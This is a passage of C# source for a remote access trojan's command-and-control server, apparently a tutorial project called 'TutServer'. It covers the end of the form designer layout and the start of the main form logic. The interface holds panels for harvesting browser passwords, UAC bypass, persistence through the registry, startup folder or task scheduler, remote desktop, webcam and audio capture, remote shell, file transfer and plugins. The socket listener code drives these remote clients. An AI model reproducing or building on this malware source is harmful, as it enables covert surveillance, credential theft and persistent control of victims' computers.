this.button32.Size = new System.Drawing.Size(107, 23);
this.button32.TabIndex = 3;
this.button32.Text = "Clear List";
this.button32.UseVisualStyleBackColor = true;
this.button32.Click += new System.EventHandler(this.button32_Click);
//
// button31
//
this.button31.Location = new System.Drawing.Point(786, 468);
this.button31.Name = "button31";
this.button31.Size = new System.Drawing.Size(107, 23);
this.button31.TabIndex = 2;
this.button31.Text = "List Password";
this.button31.UseVisualStyleBackColor = true;
this.button31.Click += new System.EventHandler(this.button31_Click);
//
// label23
//
this.label23.AutoSize = true;
this.label23.Location = new System.Drawing.Point(8, 14);
this.label23.Name = "label23";
this.label23.Size = new System.Drawing.Size(68, 13);
this.label23.TabIndex = 1;
this.label23.Text = "Password list";
//
// listView6
//
this.listView6.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.columnHeader20,
this.columnHeader21,
this.columnHeader22});
this.listView6.FullRowSelect = true;
listViewGroup1.Header = "Google Chrome";
listViewGroup1.Name = "listViewGroup1";
listViewGroup2.Header = "Internet Explorer";
listViewGroup2.Name = "listViewGroup2";
listViewGroup3.Header = "Firefox";
listViewGroup3.Name = "listViewGroup3";
this.listView6.Groups.AddRange(new System.Windows.Forms.ListViewGroup[] {
listViewGroup1,
listViewGroup2,
listViewGroup3});
this.listView6.Location = new System.Drawing.Point(8, 43);
this.listView6.Name = "listView6";
this.listView6.Size = new System.Drawing.Size(885, 419);
this.listView6.TabIndex = 0;
this.listView6.UseCompatibleStateImageBehavior = false;
this.listView6.View = System.Windows.Forms.View.Details;
//
// columnHeader20
//
this.columnHeader20.Text = "URL";
this.columnHeader20.Width = 454;
//
// columnHeader21
//
this.columnHeader21.Text = "Username";
this.columnHeader21.Width = 210;
//
// columnHeader22
//
this.columnHeader22.Text = "Password";
this.columnHeader22.Width = 208;
//
// tabPage13
//
this.tabPage13.Controls.Add(this.label36);
this.tabPage13.Controls.Add(this.progressBar1);
this.tabPage13.Controls.Add(this.button23);
this.tabPage13.Controls.Add(this.comboBox7);
this.tabPage13.Controls.Add(this.label35);
this.tabPage13.Controls.Add(this.button20);
this.tabPage13.Controls.Add(this.button33);
this.tabPage13.Controls.Add(this.label27);
this.tabPage13.Location = new System.Drawing.Point(4, 22);
this.tabPage13.Name = "tabPage13";
this.tabPage13.Size = new System.Drawing.Size(901, 550);
this.tabPage13.TabIndex = 12;
this.tabPage13.Text = "Persistence";
this.tabPage13.UseVisualStyleBackColor = true;
//
// label36
//
this.label36.AutoSize = true;
this.label36.Enabled = false;
this.label36.Location = new System.Drawing.Point(212, 49);
this.label36.Name = "label36";
this.label36.Size = new System.Drawing.Size(21, 13);
this.label36.TabIndex = 8;
this.label36.Text = "0%";
//
// progressBar1
//
this.progressBar1.Enabled = false;
this.progressBar1.Location = new System.Drawing.Point(156, 68);
this.progressBar1.Name = "progressBar1";
this.progressBar1.Size = new System.Drawing.Size(145, 23);
this.progressBar1.TabIndex = 7;
//
// button23
//
this.button23.Location = new System.Drawing.Point(212, 142);
this.button23.Name = "button23";
this.button23.Size = new System.Drawing.Size(89, 23);
this.button23.TabIndex = 6;
this.button23.Text = "Start Probe";
this.button23.UseVisualStyleBackColor = true;
this.button23.Click += new System.EventHandler(this.button23_Click);
//
// comboBox7
//
this.comboBox7.FormattingEnabled = true;
this.comboBox7.Items.AddRange(new object[] {
"Startup Folder",
"Registry",
"Task Scheduler"});
this.comboBox7.Location = new System.Drawing.Point(20, 144);
this.comboBox7.Name = "comboBox7";
this.comboBox7.Size = new System.Drawing.Size(186, 21);
this.comboBox7.TabIndex = 5;
//
// label35
//
this.label35.AutoSize = true;
this.label35.Location = new System.Drawing.Point(8, 116);
this.label35.Name = "label35";
this.label35.Size = new System.Drawing.Size(68, 13);
this.label35.TabIndex = 4;
this.label35.Text = "Start Probing";
//
// button20
//
this.button20.Enabled = false;
this.button20.Location = new System.Drawing.Point(20, 68);
this.button20.Name = "button20";
this.button20.Size = new System.Drawing.Size(114, 23);
this.button20.TabIndex = 3;
this.button20.Text = "Auto Load";
this.button20.UseVisualStyleBackColor = true;
this.button20.Click += new System.EventHandler(this.button20_Click);
//
// button33
//
this.button33.Location = new System.Drawing.Point(20, 39);
this.button33.Name = "button33";
this.button33.Size = new System.Drawing.Size(114, 23);
this.button33.TabIndex = 2;
this.button33.Text = "Bypass UAC";
this.button33.UseVisualStyleBackColor = true;
this.button33.Click += new System.EventHandler(this.button33_Click);
//
// label27
//
this.label27.AutoSize = true;
this.label27.Location = new System.Drawing.Point(8, 13);
this.label27.Name = "label27";
this.label27.Size = new System.Drawing.Size(66, 13);
this.label27.TabIndex = 0;
this.label27.Text = "Bypass UAC";
//
// tabPage14
//
this.tabPage14.Controls.Add(this.button34);
this.tabPage14.Controls.Add(this.label28);
this.tabPage14.Location = new System.Drawing.Point(4, 22);
this.tabPage14.Name = "tabPage14";
this.tabPage14.Size = new System.Drawing.Size(901, 550);
this.tabPage14.TabIndex = 13;
this.tabPage14.Text = "External Apps";
this.tabPage14.UseVisualStyleBackColor = true;
//
// button34
//
this.button34.Location = new System.Drawing.Point(27, 39);
this.button34.Name = "button34";
this.button34.Size = new System.Drawing.Size(158, 23);
this.button34.TabIndex = 1;
this.button34.Text = "Launch Remote Pipe";
this.button34.UseVisualStyleBackColor = true;
this.button34.Click += new System.EventHandler(this.button34_Click);
//
// label28
//
this.label28.AutoSize = true;
this.label28.Location = new System.Drawing.Point(8, 12);
this.label28.Name = "label28";
this.label28.Size = new System.Drawing.Size(67, 13);
this.label28.TabIndex = 0;
this.label28.Text = "Proxy Server";
//
// tabPage15
//
this.tabPage15.Controls.Add(this.button39);
this.tabPage15.Controls.Add(this.button38);
this.tabPage15.Controls.Add(this.button37);
this.tabPage15.Controls.Add(this.button36);
this.tabPage15.Controls.Add(this.button35);
this.tabPage15.Controls.Add(this.comboBox6);
this.tabPage15.Controls.Add(this.label33);
this.tabPage15.Controls.Add(this.label32);
this.tabPage15.Controls.Add(this.label31);
this.tabPage15.Controls.Add(this.label30);
this.tabPage15.Controls.Add(this.label29);
this.tabPage15.Controls.Add(this.listBox1);
this.tabPage15.Location = new System.Drawing.Point(4, 22);
this.tabPage15.Name = "tabPage15";
this.tabPage15.Size = new System.Drawing.Size(901, 550);
this.tabPage15.TabIndex = 14;
this.tabPage15.Text = "Plugins";
this.tabPage15.UseVisualStyleBackColor = true;
//
// button39
//
this.button39.Location = new System.Drawing.Point(632, 462);
this.button39.Name = "button39";
this.button39.Size = new System.Drawing.Size(75, 23);
this.button39.TabIndex = 11;
this.button39.Text = "Stop Signal";
this.button39.UseVisualStyleBackColor = true;
this.button39.Click += new System.EventHandler(this.button39_Click);
//
// button38
//
this.button38.Location = new System.Drawing.Point(551, 462);
this.button38.Name = "button38";
this.button38.Size = new System.Drawing.Size(75, 23);
this.button38.TabIndex = 10;
this.button38.Text = "Reload All";
this.button38.UseVisualStyleBackColor = true;
this.button38.Click += new System.EventHandler(this.button38_Click);
//
// button37
//
this.button37.Location = new System.Drawing.Point(470, 462);
this.button37.Name = "button37";
this.button37.Size = new System.Drawing.Size(75, 23);
this.button37.TabIndex = 9;
this.button37.Text = "Execute";
this.button37.UseVisualStyleBackColor = true;
this.button37.Click += new System.EventHandler(this.button37_Click);
//
// button36
//
this.button36.Location = new System.Drawing.Point(389, 462);
this.button36.Name = "button36";
this.button36.Size = new System.Drawing.Size(75, 23);
this.button36.TabIndex = 8;
this.button36.Text = "Remove";
this.button36.UseVisualStyleBackColor = true;
this.button36.Click += new System.EventHandler(this.button36_Click);
//
// button35
//
this.button35.Location = new System.Drawing.Point(308, 462);
this.button35.Name = "button35";
this.button35.Size = new System.Drawing.Size(75, 23);
this.button35.TabIndex = 7;
this.button35.Text = "Add";
this.button35.UseVisualStyleBackColor = true;
this.button35.Click += new System.EventHandler(this.button35_Click);
//
// comboBox6
//
this.comboBox6.FormattingEnabled = true;
this.comboBox6.Location = new System.Drawing.Point(364, 113);
this.comboBox6.Name = "comboBox6";
this.comboBox6.Size = new System.Drawing.Size(121, 21);
this.comboBox6.TabIndex = 6;
//
// label33
//
this.label33.AutoSize = true;
this.label33.Location = new System.Drawing.Point(293, 116);
this.label33.Name = "label33";
this.label33.Size = new System.Drawing.Size(65, 13);
this.label33.TabIndex = 5;
this.label33.Text = "Permissions:";
//
// label32
//
this.label32.AutoSize = true;
this.label32.Location = new System.Drawing.Point(293, 155);
this.label32.Name = "label32";
this.label32.Size = new System.Drawing.Size(63, 13);
this.label32.TabIndex = 4;
this.label32.Text = "Description:";
//
// label31
//
this.label31.AutoSize = true;
this.label31.Location = new System.Drawing.Point(293, 82);
this.label31.Name = "label31";
this.label31.Size = new System.Drawing.Size(41, 13);
this.label31.TabIndex = 3;
this.label31.Text = "Author:";
//
// label30
//
this.label30.AutoSize = true;
this.label30.Location = new System.Drawing.Point(293, 47);
this.label30.Name = "label30";
this.label30.Size = new System.Drawing.Size(45, 13);
this.label30.TabIndex = 2;
this.label30.Text = "Version:";
//
// label29
//
this.label29.AutoSize = true;
this.label29.Location = new System.Drawing.Point(293, 13);
this.label29.Name = "label29";
this.label29.Size = new System.Drawing.Size(38, 13);
this.label29.TabIndex = 1;
this.label29.Text = "Name:";
//
// listBox1
//
this.listBox1.FormattingEnabled = true;
this.listBox1.Location = new System.Drawing.Point(8, 13);
this.listBox1.Name = "listBox1";
this.listBox1.Size = new System.Drawing.Size(268, 472);
this.listBox1.TabIndex = 0;
this.listBox1.SelectedIndexChanged += new System.EventHandler(this.listBox1_SelectedIndexChanged);
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(909, 576);
this.Controls.Add(this.tabControl1);
this.Name = "Form1";
this.Text = "Tutorial C&C Server";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Form1_FormClosing);
this.Shown += new System.EventHandler(this.Form1_Shown);
this.tabControl1.ResumeLayout(false);
this.tabPage1.ResumeLayout(false);
this.tabPage1.PerformLayout();
this.tabPage2.ResumeLayout(false);
this.tabPage2.PerformLayout();
this.tabPage3.ResumeLayout(false);
this.tabPage3.PerformLayout();
this.tabPage4.ResumeLayout(false);
this.tabPage4.PerformLayout();
this.contextMenuStrip2.ResumeLayout(false);
this.tabPage5.ResumeLayout(false);
this.tabPage5.PerformLayout();
this.tabPage6.ResumeLayout(false);
this.contextMenuStrip3.ResumeLayout(false);
this.tabPage7.ResumeLayout(false);
this.tabPage8.ResumeLayout(false);
this.tabPage8.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.trackBar1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.tabPage9.ResumeLayout(false);
this.tabPage10.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit();
this.tabPage11.ResumeLayout(false);
this.tabPage11.PerformLayout();
this.groupBox2.ResumeLayout(false);
this.groupBox2.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).EndInit();
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
this.tabPage12.ResumeLayout(false);
this.tabPage12.PerformLayout();
this.tabPage13.ResumeLayout(false);
this.tabPage13.PerformLayout();
this.tabPage14.ResumeLayout(false);
this.tabPage14.PerformLayout();
this.tabPage15.ResumeLayout(false);
this.tabPage15.PerformLayout();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.TabControl tabControl1;
private System.Windows.Forms.TabPage tabPage1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.ListView listView1;
private System.Windows.Forms.ColumnHeader columnHeader1;
private System.Windows.Forms.ColumnHeader columnHeader2;
private System.Windows.Forms.ColumnHeader columnHeader3;
private System.Windows.Forms.ColumnHeader columnHeader4;
private System.Windows.Forms.ColumnHeader columnHeader5;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.TabPage tabPage2;
private System.Windows.Forms.Button button6;
private System.Windows.Forms.Label label12;
private System.Windows.Forms.RichTextBox richTextBox1;
private System.Windows.Forms.Label label11;
private System.Windows.Forms.Button button5;
private System.Windows.Forms.ComboBox comboBox3;
private System.Windows.Forms.Label label10;
private System.Windows.Forms.Button button4;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.TextBox textBox3;
private System.Windows.Forms.Label label9;
private System.Windows.Forms.Label label8;
private System.Windows.Forms.Label label7;
private System.Windows.Forms.Label label6;
private System.Windows.Forms.Label label5;
private System.Windows.Forms.Label label4;
private System.Windows.Forms.ComboBox comboBox2;
private System.Windows.Forms.ComboBox comboBox1;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TabPage tabPage3;
private System.Windows.Forms.Button button13;
private System.Windows.Forms.Button button12;
private System.Windows.Forms.Label label14;
private System.Windows.Forms.Button button11;
private System.Windows.Forms.Button button10;
private System.Windows.Forms.Button button9;
private System.Windows.Forms.Button button8;
private System.Windows.Forms.Button button7;
private System.Windows.Forms.Label label13;
private System.Windows.Forms.TabPage tabPage4;
private System.Windows.Forms.Button button14;
private System.Windows.Forms.ComboBox comboBox4;
private System.Windows.Forms.TextBox textBox4;
private System.Windows.Forms.Label label17;
private System.Windows.Forms.Label label16;
private System.Windows.Forms.Label label15;
private System.Windows.Forms.ListView listView2;
private System.Windows.Forms.ColumnHeader columnHeader6;
private System.Windows.Forms.ColumnHeader columnHeader7;
private System.Windows.Forms.ColumnHeader columnHeader8;
private System.Windows.Forms.ColumnHeader columnHeader9;
private System.Windows.Forms.ColumnHeader columnHeader10;
private System.Windows.Forms.ColumnHeader columnHeader11;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip2;
private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem1;
private System.Windows.Forms.TabPage tabPage5;
private System.Windows.Forms.TextBox textBox5;
private System.Windows.Forms.RichTextBox richTextBox2;
private System.Windows.Forms.Button button15;
private System.Windows.Forms.TabPage tabPage6;
private System.Windows.Forms.ListView listView3;
private System.Windows.Forms.ColumnHeader columnHeader12;
private System.Windows.Forms.ColumnHeader columnHeader13;
private System.Windows.Forms.ColumnHeader columnHeader14;
private System.Windows.Forms.ColumnHeader columnHeader15;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip3;
private System.Windows.Forms.ToolStripMenuItem listDrivesToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem enterDirectoryToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem moveToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem editToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem attributesToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem hideToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem showToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem directoryToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem currentDirectoryToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem selectedDirectoryToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem currentDirectoryToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem selectedDirectoryToolStripMenuItem1;
private System.Windows.Forms.TabPage tabPage7;
private System.Windows.Forms.Button button19;
private System.Windows.Forms.Button button18;
private System.Windows.Forms.Button button17;
private System.Windows.Forms.Button button16;
private System.Windows.Forms.RichTextBox richTextBox3;
private System.Windows.Forms.TabPage tabPage8;
private System.Windows.Forms.Button btnFullScreenMode;
public System.Windows.Forms.CheckBox checkBoxrKeyboard;
public System.Windows.Forms.CheckBox checkBoxrMouse;
private System.Windows.Forms.Button button22;
private System.Windows.Forms.Button button21;
private System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.TabPage tabPage9;
private System.Windows.Forms.Button button24;
private System.Windows.Forms.ListView listView4;
private System.Windows.Forms.ColumnHeader columnHeader16;
private System.Windows.Forms.ColumnHeader columnHeader17;
private System.Windows.Forms.Button button25;
private System.Windows.Forms.TabPage tabPage10;
private System.Windows.Forms.Button button27;
private System.Windows.Forms.Button button26;
private System.Windows.Forms.ListView listView5;
private System.Windows.Forms.ColumnHeader columnHeader18;
private System.Windows.Forms.ColumnHeader columnHeader19;
private System.Windows.Forms.PictureBox pictureBox2;
private System.Windows.Forms.TabPage tabPage11;
private System.Windows.Forms.GroupBox groupBox1;
private System.Windows.Forms.Label label21;
private System.Windows.Forms.Label label20;
private System.Windows.Forms.Label label19;
private System.Windows.Forms.Label label18;
private System.Windows.Forms.Button button30;
private System.Windows.Forms.Button button29;
private System.Windows.Forms.Button button28;
private System.Windows.Forms.GroupBox groupBox2;
private System.Windows.Forms.CheckBox checkBox3;
private System.Windows.Forms.Label label25;
private System.Windows.Forms.Label label26;
private System.Windows.Forms.Label label22;
private System.Windows.Forms.NumericUpDown numericUpDown2;
private System.Windows.Forms.ComboBox comboBox5;
private System.Windows.Forms.NumericUpDown numericUpDown1;
private System.Windows.Forms.TextBox textBox6;
private System.Windows.Forms.NumericUpDown numericUpDown4;
private System.Windows.Forms.NumericUpDown numericUpDown3;
private System.Windows.Forms.TabPage tabPage12;
private System.Windows.Forms.Button button32;
private System.Windows.Forms.Button button31;
private System.Windows.Forms.Label label23;
private System.Windows.Forms.ListView listView6;
private System.Windows.Forms.ColumnHeader columnHeader20;
private System.Windows.Forms.ColumnHeader columnHeader21;
private System.Windows.Forms.ColumnHeader columnHeader22;
private System.Windows.Forms.Label label24;
private System.Windows.Forms.TabPage tabPage13;
private System.Windows.Forms.Button button33;
private System.Windows.Forms.Label label27;
private System.Windows.Forms.TabPage tabPage14;
private System.Windows.Forms.Button button34;
private System.Windows.Forms.Label label28;
private System.Windows.Forms.TabPage tabPage15;
private System.Windows.Forms.Button button37;
private System.Windows.Forms.Button button36;
private System.Windows.Forms.Button button35;
private System.Windows.Forms.ComboBox comboBox6;
private System.Windows.Forms.Label label33;
private System.Windows.Forms.Label label32;
private System.Windows.Forms.Label label31;
private System.Windows.Forms.Label label30;
private System.Windows.Forms.Label label29;
private System.Windows.Forms.ListBox listBox1;
private System.Windows.Forms.Button button38;
public System.Windows.Forms.Label lblQualityShow;
private System.Windows.Forms.Label lblChooseScreen;
private System.Windows.Forms.ComboBox cmboChooseScreen;
private System.Windows.Forms.Button btnCountScreens;
private System.Windows.Forms.Button btnStartTaskManager;
private System.Windows.Forms.TextBox txtBControlKeyboard;
private System.Windows.Forms.Label label34;
public System.Windows.Forms.TrackBar trackBar1;
private System.Windows.Forms.Button button23;
private System.Windows.Forms.ComboBox comboBox7;
private System.Windows.Forms.Label label35;
private System.Windows.Forms.Button button20;
private System.Windows.Forms.ProgressBar progressBar1;
private System.Windows.Forms.Label label36;
private System.Windows.Forms.Button button39;
}
}
================================================
FILE: TutServer/Form1.cs
================================================
using System; //For basic system functions
using System.Collections.Generic; //For List and Dictionary objects
using System.Drawing; //For form graphics
using System.Linq; //For converting arrays to list objects
using System.Text; //For encoding UTF8 (cryptogrphy)
using System.Windows.Forms; //For forms and control
using System.Net; //For network information and IP endpoint
using System.Net.Sockets; //For TCP sockets
using System.Security.Cryptography; //For encrypting traffic
using System.IO; //For file interaction
using System.Reflection; //For loading plugins runtime
using sCore; //For plugin interaction
using sCore.IO; //For binding plugin functions
using System.Threading.Tasks; //For Tasks (they are similar to threads)
#pragma warning disable IDE1006
namespace TutServer //Main Namespace
{
public partial class Form1 : Form //Our form
{
#region Global Variables
/// <summary>
/// Limit screen update rate on a remote desktop session
/// </summary>
private int FPS = 80;
/// <summary>
/// The text format received data
/// </summary>
private string text = string.Empty;
/// <summary>
/// The number of received bytes
/// </summary>
private int received;
/// <summary>
/// File transfer Mode Copy
/// </summary>
private const int xfer_copy = 1;
/// <summary>
/// File Transfer Mode Move
/// </summary>
private const int xfer_move = 2;
/// <summary>
/// Socket used for the server
/// </summary>
private static Socket _serverSocket;
/// <summary>
/// A list of connected client sockets
/// </summary>
private static List<Socket> _clientSockets = new List<Socket>();
/// <summary>
/// Receive buffer size
/// </summary>
private const int _BUFFER_SIZE = 20971520;
/// <summary>
/// Port for the server to listen on
/// </summary>
private const int _PORT = 100; //port number
/// <summary>
/// Receive buffer
/// </summary>
private static readonly byte[] _buffer = new byte[_BUFFER_SIZE];
/// <summary>
/// Array of controlled clients
/// </summary>
private int controlClient = 0;
/// <summary>
/// Indicates if the remote cmd is active
/// </summary>
private static bool _isCmdStarted = false;
private static string hostToken = "";
/// <summary>
/// Distributes remote cmd data to plugins
/// </summary>
public static bool IsCmdStarted { get { return _isCmdStarted; } set { _isCmdStarted = value; sCore.RAT.Cmd.SetCmdOnline(hostToken, value); } }
/// <summary>
/// Current path for the file browser module
/// </summary>
private string _currentPath = "drive";
/// <summary>
/// Distributes the current path to plugins
/// </summary>
private String CurrentPath { get { return _currentPath; } set { _currentPath = value; sCore.RAT.FileSystem.SetCurrentDirectory(hostToken, value); } }
/// <summary>
/// File transfer from location
/// </summary>
private String xfer_path = "";
/// <summary>
/// File transfer mode
/// </summary>
private int xfer_mode = 0;
/// <summary>
/// Reference to the form
/// </summary>
public static Form1 me;
/// <summary>
/// Remote file editor content
/// </summary>
private String edit_content = "";
/// <summary>
/// Path of the file to upload
/// </summary>
private String fup_local_path = "";
/// <summary>
/// Size of the file to download
/// </summary>
private int fdl_size = 0;
/// <summary>
/// Indicates if file download is in progress
/// </summary>
private bool isFileDownload = false;
/// <summary>
/// Buffer for receiving files
/// </summary>
private byte[] recvFile = new byte[1];
/// <summary>
/// Number of bytes written to the downloaded file
/// </summary>
private int write_size = 0;
/// <summary>
/// The location of the downloaded file
/// </summary>
private String fdl_location = "";
/// <summary>
/// Indicates if the server (listener) is started
/// </summary>
private bool _isServerStarted = false;
/// <summary>
/// Distributes server start info to plugins
/// </summary>
private bool IsStartedServer { get { return _isServerStarted; } set { sCore.RAT.ServerSettings.SetServerState(hostToken, value); _isServerStarted = value; } }
/// <summary>
/// Indicates if clients need to get new IDs
/// </summary>
private bool reScanTarget = false;
/// <summary>
/// ID of the disconnected client
/// </summary>
private int reScanStart = -1;
/// <summary>
/// ID of the disconnected client
/// </summary>
private int killtarget = -1;
/// <summary>
/// Socket of the disconnected client
/// </summary>
private Socket killSocket;
/// <summary>
/// Indicates if a surveillance module if active
/// </summary>
private bool _multiRecv = false;
/// <summary>
/// Distributes if surveillance is active to plugins
/// </summary>
private bool MultiRecv { get { return _multiRecv; } set { _multiRecv = value; sCore.RAT.ServerSettings.SetMultiRecv(hostToken, value); } }
/// <summary>
/// Indicates if remote desktop watcher is active
/// </summary>
private bool _rdesktop = false;
/// <summary>
/// Distributes to plugins if remote desktop is active
/// </summary>
private bool RDesktop { get { return _rdesktop; } set { _rdesktop = value; sCore.RAT.RemoteDesktop.SetIsRemoteDesktop(hostToken, value); } }
//public static double dx = 0;
//public static double dy = 0;
/// <summary>
/// Indicates remote keyboard state
/// </summary>
public static int rkeyboard = 0;
/// <summary>
/// Indicates remote mouse state
/// </summary>
public static int rmouse = 0;
/// <summary>
/// Stores the previous X coordinate the mouse moved to
/// </summary>
public static int plx = 0;
/// <summary>
/// Stores the previous Y coordinate the mouse moved to
/// </summary>
public static int ply = 0;
/// <summary>
/// Indicates the screen resolution width
/// </summary>
public static int resx = 0;
/// <summary>
/// Indicates the screen resolution heigth
/// </summary>
public static int resy = 0;
/// <summary>
/// Indicates is the resolution data is set or not
/// </summary>
public static int resdataav = 0;
/// <summary>
/// Indicates if remote desktop is in full screen mode
/// </summary>
public static bool _isrdFull = false;
/// <summary>
/// Distributes remote desktop full screen status to plugins
/// </summary>
public static bool IsRdFull { get { return _isrdFull; } set { _isrdFull = value; sCore.RAT.RemoteDesktop.SetIsFullScreen(hostToken, value); } }
/// <summary>
/// Reference to the remote desktop object
/// </summary>
private RDesktop Rdxref;
/// <summary>
/// List of routed windows
/// </summary>
public static List<Form> routeWindow = new List<Form>();
/// <summary>
/// List of every tool strip item on the main form
/// </summary>
public static List<ToolStripItem> tsitem = new List<ToolStripItem>();
/// <summary>
/// List of every tool strip item's name on the main form
/// </summary>
public static List<String> tsrefname = new List<String>();
/// <summary>
/// List of control values for routed Windows to pull values from
/// </summary>
public static List<String> getvalue = new List<String>();
/// <summary>
/// List of control values for the main form to pull values from
/// </summary>
public static List<String> setvalue = new List<String>();
/// <summary>
/// Route of remote desktop module
/// </summary>
public static String rdRouteUpdate = "route0.none";
/// <summary>
/// Route of webcam watcher module
/// </summary>
public static String wcRouteUpdate = "route0.none";
/// <summary>
/// Indicates if the form protects the listView from updateing values
/// </summary>
public static bool protectLv = false;
//public static int rwriteLv = 0;
//public static bool only1 = false;
/// <summary>
/// Selected TabPage
/// </summary>
public static TabPage selected = new TabPage();
/// <summary>
/// List of every TabPage
/// </summary>
private List<TabPage> pages = new List<TabPage>();
/// <summary>
/// Reference to the remote button to click
/// </summary>
public static Button rbutton = new Button();
/// <summary>
/// The focused tab page before the button click procedure
/// </summary>
public static TabPage setPagebackup = new TabPage();
/// <summary>
/// The set focus back operation phases
/// </summary>
public static int setFocusBack = 1;
/// <summary>
/// The route to give back the focus to
/// </summary>
public static int setFocusRouteID = -1;
/// <summary>
/// Indicates if remote audio stream is active
/// </summary>
private bool _austream = false;
/// <summary>
/// Distributes if remote audio stream is active to plugins
/// </summary>
private bool AuStream { get { return _austream; } set { _austream = value; sCore.RAT.AudioListener.SetAudioStream(hostToken, value); } }
/// <summary>
/// Audio Stream playback object
/// </summary>
private AudioStream astream = new AudioStream();
/// <summary>
/// Indicates if webcam stream is active
/// </summary>
private bool _wStream = false;
/// <summary>
/// Distributes if remote webcam stream is active to plugins
/// </summary>
private bool WStream { get { return _wStream; } set { _wStream = value; sCore.RAT.RemoteCamera.SetCameraStream(hostToken, value); } }
/// <summary>
/// Startup folder of the client
/// </summary>
public String remStart = "";
/// <summary>
/// Remote mouse movement commands
/// </summary>
private List<string> rMoveCommands = new List<string>();
/// <summary>
/// Timer to execute mouse movement
/// </summary>
Timer rmoveTimer = new Timer();
/// <summary>
/// Linux Client Manager Module
/// </summary>
LinuxClientManager lcm;
/// <summary>
/// List of remote pipes
/// </summary>
List<RemotePipe> rPipeList = new List<RemotePipe>();
/// <summary>
/// Plugin host object
/// </summary>
ScriptHost sh;
#if EnableAutoLoad
/// <summary>
/// Indicates the progress of auto load function
/// </summary>
private int autoLoadProgress = 0;
#endif
/// <summary>
/// Crypto exception handling flag
/// </summary>
private bool IsException = false; //switch
/// <summary>
/// Mouse movement control flag
/// </summary>
private bool mouseMovement = true; //switch
/// <summary>
/// Plugin local function bridge instance
/// </summary>
private ScriptHost.LocalBridgeFunctions lbf;
/// <summary>
/// ToolStrip item add/remove locking object
/// </summary>
private object TSLockObject = new object();
#endregion
#region Inner Classes
/// <summary>
/// Module providing connection with linux clients
/// </summary>
public class LinuxClientManager
{
/// <summary>
/// Association between all clients and linux clients
/// </summary>
private List<int> clientListAssoc = new List<int>();
/// <summary>
/// Reference to the main form
/// </summary>
private Form1 ctx;
/// <summary>
/// Constructor
/// </summary>
/// <param name="context">Reference to the main form</param>
public LinuxClientManager(Form1 context)
{
ctx = context; //Set the form reference
}
/// <summary>
/// Add client to linux client manager
/// </summary>
/// <param name="clientID">The id of the client to add</param>
public void AddAssociation(int clientID)
{
if (clientListAssoc.Contains(clientID)) return; //If client already added
clientListAssoc.Add(clientID); //Add the client to the manager
SendCommand("getinfo-" + clientID.ToString(), clientID); //Request info from linux client
}
/// <summary>
/// Remove client from linux client manager
/// </summary>
/// <param name="clientID">The id of the client to remove</param>
public void RemoveAssociation(int clientID)
{
if (!clientListAssoc.Contains(clientID)) return; //If client isn't in the list
clientListAssoc.Remove(clientID); //Remove client from manager
}
/// <summary>
/// Remove every client from the manager
/// </summary>
public void ResetAssociation()
{
clientListAssoc.Clear(); //Remove all clients
}
/// <summary>
/// Check if a socket is a linux client
/// </summary>
/// <param name="s">The socket to check</param>
/// <returns>True if the socket is a linux client, otherwise false</returns>
public bool IsLinuxClient(Socket s)
{
int socketID = ctx.GetSocket(s); //Get the index of the socket
return IsLinuxClient(socketID); //Check if socket is added to the manager
}
/// <summary>
/// Check if a client is a linux client
/// </summary>
/// <param name="clientID">The ID of the client to check</param>
/// <returns>True if it's a linux client, otherwise false</returns>
public bool IsLinuxClient(int clientID)
{
if (clientListAssoc.Contains(clientID))
{
return true;
}
return false;
}
/// <summary>
/// Handle custom, linux only commands
/// </summary>
/// <param name="buffer">The buffer sent by the client</param>
public void RunCustomCommands(byte[] buffer)
{
string command = Encoding.ASCII.GetString(buffer); //Linux sends ASCII encoded text
if (command.StartsWith("lprocset")) //Set the process list
{
command = command.Substring(8); //Remove the command header
